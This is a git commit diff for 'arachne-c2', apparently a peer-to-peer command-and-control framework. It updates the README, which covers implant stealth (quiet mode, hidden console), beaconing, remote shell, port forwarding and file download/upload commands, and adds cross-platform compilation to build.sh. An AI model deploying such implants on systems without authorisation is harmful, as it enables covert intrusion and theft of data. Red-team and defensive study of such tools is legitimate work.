docs: update build.sh and README for cross-platform builds, shell escape

build.sh now cross-compiles for linux/darwin/windows amd64+arm64.
README documents Ctrl+] shell escape, TCP transport, relay keepalive.
This commit is contained in:
portbuster
2026-06-05 23:38:21 +08:00
parent dfa9a20629
commit 22d53a1c32
2 changed files with 24 additions and 13 deletions
+9 -10
View File
@@ -33,6 +33,8 @@ fleet and operator are all equal peers in the network — no central point of fa
- Persistent implant identity (embedded keypair per build)
- Quiet mode (`--quiet` — daemonize on Linux/macOS, hide console on Windows)
- Automatic implant disconnect detection and alerting
- Stream keepalive prevents relay circuit idle timeout
- WebSocket + TCP transport (UDP/multicast-free for sandbox compatibility)
## Project Structure
@@ -62,16 +64,10 @@ arachne-c2/
The operator binary is self-contained — embed the implant source at build time, then it builds implants anywhere:
```bash
./build.sh # auto-installs Go + UPX if missing, embeds source, builds bin/arachne
./build.sh # auto-installs Go if missing, embeds source, cross-compiles for all platforms
```
Or manually:
```bash
go build -o bin/arachne ./cmd/arachne/
```
The built `bin/arachne` can be copied to any machine with Go installed (or no Go — it auto-installs). No source tree needed.
Binaries are written to `bin/` as `arachne-{os}-{arch}` (or `*.exe` for Windows). The built binary can be copied to any machine with Go installed (or no Go — it auto-installs). No source tree needed.
## Quick Start
@@ -106,7 +102,8 @@ Copy `./myimplant` to the target machine and run:
./myimplant
```
The implant will discover the operator via DHT, register itself, and begin beaconing.
The implant will discover the operator via DHT, register itself, and begin beaconing
over a persistent relay stream with automatic keepalive.
### 4. Use the operator console
@@ -124,6 +121,8 @@ Available commands: `list`, `select <n>`, `exec <cmd>`, `ls <path>`, `cd <path>`
`pwd`, `ps`, `shell`, `portfwd <port> <host:p>`, `download <path>`, `upload <path>`,
`generate [flags]`, `regenerate`, `help [command]`, `exit`.
In the interactive shell, type `exit` or press **Ctrl+]** to return to the arachne prompt.
Use `help <command>` or `<command> --help` for per-command details.
## Available Commands
@@ -136,7 +135,7 @@ Use `help <command>` or `<command> --help` for per-command details.
| `ls <path>` | List directory |
| `cd <path>` | Change directory |
| `pwd` | Print working directory |
| `shell` | Interactive shell (direct libp2p stream) |
| `shell` | Interactive shell (direct libp2p stream, Ctrl+] to exit) |
| `portfwd <port> <host:p>` | Forward local port through implant |
| `exec <cmd> [args]` | Execute command (with output) |
| `download <path>` | Download file from implant |
+15 -3
View File
@@ -71,7 +71,19 @@ rm -rf "$EMBED_DIR/implant_src"
mkdir -p bin
echo "Building arachne (single binary)..."
go build -trimpath -buildvcs=false -ldflags="-s -w -buildid=" -o bin/arachne ./cmd/arachne/
build_platform() {
local goos="$1" goarch="$2" suffix="$3"
local out="bin/arachne-${goos}-${goarch}${suffix}"
echo " building ${goos}/${goarch} -> ${out}..."
GOOS="$goos" GOARCH="$goarch" go build -trimpath -buildvcs=false -ldflags="-s -w -buildid=" -o "$out" ./cmd/arachne/
}
echo "Done. Binary in ./bin/arachne"
echo "Building arachne (cross-platform)..."
build_platform linux amd64 ""
build_platform linux arm64 ""
build_platform windows amd64 ".exe"
build_platform windows arm64 ".exe"
build_platform darwin amd64 ""
build_platform darwin arm64 ""
echo "Done. Binaries in ./bin/"